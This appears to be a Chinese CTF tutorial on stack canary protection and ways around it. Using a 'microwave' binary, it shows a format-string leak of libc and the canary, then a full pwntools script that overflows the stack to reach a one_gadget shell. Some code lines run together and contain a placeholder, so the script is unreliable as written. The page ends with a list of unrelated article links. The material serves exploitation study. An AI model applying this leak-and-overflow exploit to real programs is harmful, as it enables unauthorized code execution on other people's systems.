canary

简介:

我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖ebp、eip等,从而达到劫持控制流的目的。然而stack canary这一技术的应用使得这种利用手段变得难以实现。canary的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。这个概念应用在栈保护上则是在初始化一个栈帧时在栈底设置一个随机的canary值,栈帧销毁前测试该值是否“死掉”,即是否被改变,若被改变则说明栈溢出发生,程序走另一个流程结束,以免漏洞利用成功。

原理:在一个函数的入口处,先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上,当函数结束时会检查这个栈上的值是否和存进去的值一致

如果一个程序开启canary保护,并且不知道canary的值是多少,就不能够进行ROP来劫持程序流程

在GCC中开启canary保护:

-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确stack_protect attribute的函数开启保护
-fno-stack-protector 禁用保护.

当一个程序开启了canary保护时,使用checksec检查会出现:

adef@ubuntu:~$ checksec microwave
[*] '/microwave'Arch:     amd64-64-littleRELRO:    Full RELROStack:    Canary foundNX:       NX enabledPIE:      PIE enabledFORTIFY:  Enabled

在Stack一行显示Canary found。此外,在函数栈帧初始化时也会在栈上放置canary的值并在退出时验证。我们看这个程序:
显然,一旦我们触发栈溢出漏洞,除非猜到canary的值,否则函数退出时必然会通过xor异或操作检测canary的值是否被修改,从而执行stack_chk_fail函数。
因此,我们要想办法获取canary的值,要么就要防止触发stack_chk_fail函数,或者利用这个函数。

0x01 泄露canary

很显然,通过利用漏洞来泄露出canary的值,从而在栈溢出构造payload时加入canary以通过检查。
首先我们看一下这里:

这里存在格式化字符串漏洞,可以通过这个漏洞来泄露出canary的值。
main函数中使用fgets函数将获取的输入作为参数传递给sub_F00,然后使用__printf_chk函数直接输出,存在格式化串漏洞,可以泄露内存:

这里要说一下FOPTIFY保护,这个保护比较少见,这是一个由GCC实现的源码级别的保护机制,其功能是在编译的时候检查源码以避免潜在的缓冲区溢出等错误。简单地说,加了这个保护之后(编译时加上参数-D_FORTIFY_SOURCE=2)一些敏感函数如read, fgets, memcpy, printf等等可能导致漏洞出现的函数都会被替换成__read_chk, __fgets_chk, __memcpy_chk, __printf_chk等。这些带了chk的函数会检查读取/复制的字节长度是否超过缓冲区长度,通过检查·诸如%n之类的字符串位置是否位于可能被用户修改的可写地址,避免了格式化字符串跳过某些参数(如直接%7$x)等方式来避免漏洞出现。

那么,我们的程序开启了FORTIFY保护,表示不可缓冲区溢出。说明在这个程序就无法使用%n修改任何内存了。
这里我们调试一下,让程序执行到call_printf_chk函数一行,查看一下寄存器和栈的情况,看看可以泄露哪些东西。

那么上面第六个数据就是canary。
那么gdb里面就出现了寄存器的存储情况:
我们看IDA里:
这是动态调试出来的,若不知道怎么动态调试可以参考:IDA动态调试ELF

结合调试和对内存的分析,我们不难发现泄露出来的第一个数据可以直接用来计算libc在内存中的地址(当然你也可以选择用下面的stdout和stdin),而第6个数据就是canary,因此我们就可以构造脚本泄露地址并利用其计算one gadget RCE的地址

p.sendlineafter("[MicroWave]:",'1')      #功能1触发格式化字符串漏洞p.recvuntil("username:")p.sendline("%p.",*8)             #格式化字符串泄露libc中的地址和canaryp.recvuntil("password:")
p.sendline("n07_7h3_fl46")         #密码硬编码在程序中,可以直接看到leak_data=p.recvuntil('[MicroWave]:').split()[1].split('.')
leak_libc=int(leak_data(0),16)
#利用one_gadget找到execve,即0x45526
onegadget_addr=leak_libc-(?-0x45526)   #通过偏移计算onegadget RCE在内存的地址
canary=int(leak_data[5],16)
#canary='%6$x'              #可以这样表示

这时候我们看sub_1000这里:
这里的read读取了过多字符,可以造成栈溢出。
那么我们进入功能2,触发栈溢出漏洞,调试程序发现canary和rip中间还隔着8个字节。
到此,我们就可以完整的构造出脚本了:

#coding:utf-8
from pwn import *
context.log_level='debug'
context(arch='amd64',os='linux')
p=process('./microwave')p.sendlineafter("[MicroWave]:",'1')      #功能1触发格式化字符串漏洞p.recvuntil("username: ")p.sendline('%p.'*8)             #格式化字符串泄露libc中的地址和canaryp.recvuntil("password: ")
p.sendline("n07_7h3_fl46")         #密码硬编码在程序中,可以直接看到leak_data=p.recvuntil('[MicroWave]:').split()[1].split('.')
leak_libc=int(leak_data[0],16)    #直接用第一个参数
#利用one_gadget找到execve,即0x45526
onegadget_addr=leak_libc-0x3c3760-0x45526   #通过偏移计算onegadget RCE在内存的地址
canary=int(leak_data[5],16)log.info('leak canary = %#x,onegadget RCE address=%#x' %(canary,onegadget_addr))payload='a'*1032        #padding,0x418-0x10
payload+=p64(canary)       #正确的canary值
payload+='a'*8            #padding
payload+=p64(onegadget_addr)p.sendline('2')              #触发功能2的栈溢出
p.recvuntil('#>')
p.sendline(payload)
p.interactive()

参考文章:stack canary绕过的思路

stack canary绕过思路相关推荐

  1. 挖洞技巧:APP手势密码绕过思路总结

    说到APP手势密码绕过的问题,大家可能有些从来没接触过,或者接触过,但是思路也就停留在那几个点上,这里我总结了我这1年来白帽子生涯当中所挖掘的关于这方面的思路,有些是网上已经有的,有些是我自己不断摸索 ...

  2. WAF绕过思路整理(挺全)

    转载至:https://harmoc.com/secnote/waf%E7%BB%95%E8%BF%87%E6%80%9D%E8%B7%AF%E6%95%B4%E7%90%86.html WAF绕过思 ...

  3. 【网络安全】文件上传绕过思路总结

    硬怼 [技术资料] 硬怼的话,主要是从下面这些方法入手去操作. (1)fuzz后缀名 看看有无漏网之鱼(针对开发自定义的过滤可能有机会,针对waf基本不可能.更多的情况是php的站寻找文件包含或者解析 ...

  4. mysql延迟注入br_(原创)安全狗SQL注入绕过思路[sql注入waf绕过][sql注入bypass]

    2017/09/03_Bypass_safedog_Sql注入 prat 1 本文大致内容 + 思路以及想法 - 四重注释绕过safedog + 实战绕过 - 绕过and 1=1 - 绕过union+ ...

  5. sql注入空格被过滤_网站渗透:SQL注入与WAF绕过思路分享

    一.前言 这个注入是之前做测试时发现的,但是测试的时候发现有防护,但是想想这么个小网站都绕不过,实在不应该啊.开始补充学习各种场景.各种waf绕过姿势,勉勉强强的成功执行我构造的SQL的语句.趁着还有 ...

  6. UAC绕过思路(未完)

    ---恢复内容开始--- What is UAC? 程序启动后,UAC的流程图: 如果关闭UAC,则程序会提权运行. Privilege Contents: 参考:https://msdn.micro ...

  7. XSS 绕过思路 bypass 之日天日地日空气

    前文 Hello,大家好,我是None Sec的C_soon5,今天给大家讲讲XSS Bypass XSS挖掘思路 1:输入点和输出点进行XSS 输入点 URL参数 表单内容 JSONP 输出点 输出 ...

  8. 实战 | WAF-Bypass之SQL注入绕过思路总结

    过WAF(针对云WAF) 寻找真实IP(源站)绕过 如果流量都没有经过WAF,WAF当然无法拦截攻击请求.当前多数云WAF架构,例如百度云加速.阿里云盾等,通过更改DNS解析,把流量引入WAF集群,流 ...

  9. Bypass WAF常规绕过思路

    BYPASS WAF BYPASS WAF概念 WAF的分类 BYPASS WAF的各种绕过姿势 Web架构层bypass WEB Server层bypass Apache 1.畸形method 2. ...

最新文章

  1. hadoop 全分布式部署
  2. MyEclipse部署Tomcat服务器时总是跳到Debug模式
  3. Pytorch(4)-模型保存-载入-eval()
  4. 用AI写出的第一本书面世:先进算法能对机器生成的内容负责吗?
  5. mysql 操作表的例子,mysql中库和表的简单操作总结(附示例)
  6. c语言编程顺序查找例题,C语言典型编程例题.doc
  7. 《极客与团队》一第二章 培养出色的团队文化
  8. python科学计算库-python 科学计算基础库安装
  9. 计划任务中使用NT AUTHORITY\SYSTEM用户和普通管理员用户有什么差别
  10. 一、linux内核源码分析(内核源码结构组成)
  11. 《Arduino奇妙之旅:智能车趣味制作天龙八步》一1.6 A计划
  12. 网页版即时通讯聊天工具,支持主流浏览器,无需安装即可使用
  13. 使用Hostapd开启AP功能
  14. python pdf文件处理
  15. 加班到凌晨三点?一张图看懂华为员工睡眠时间!!
  16. Python将数字转换成大写字母
  17. 盘点一下分布式模式下的服务治理和监控优化方案
  18. 微信美团支付服务器异常怎么回事,无法使用微信支付?美团回应:支付系统出现异常 已全面恢复...
  19. Basketball Dribbling
  20. Hashtable的原理

热门文章

  1. [230501] 4月29日考试真题第一篇|Temporary Pools
  2. 本地生活服务,小程序助力迎战用户增量市场
  3. PCL之KDtree
  4. java中 a-zA-z_Java正则字符类[a-zA-Z]匹配
  5. mock功能-了解mock的作用及使用场景
  6. Auto CAD:CAD绘图设计以项目为导向,实战案例中图层、图块运用技巧经验总结之详细攻略
  7. java如何找到程序入口_系统分析---入门(如何确定java应用的入口)
  8. javascript 内置对象Math总结及其案例
  9. Linux上的虚拟机软件有哪些
  10. Python turtle库图形绘制——毛笔简笔画和平鸽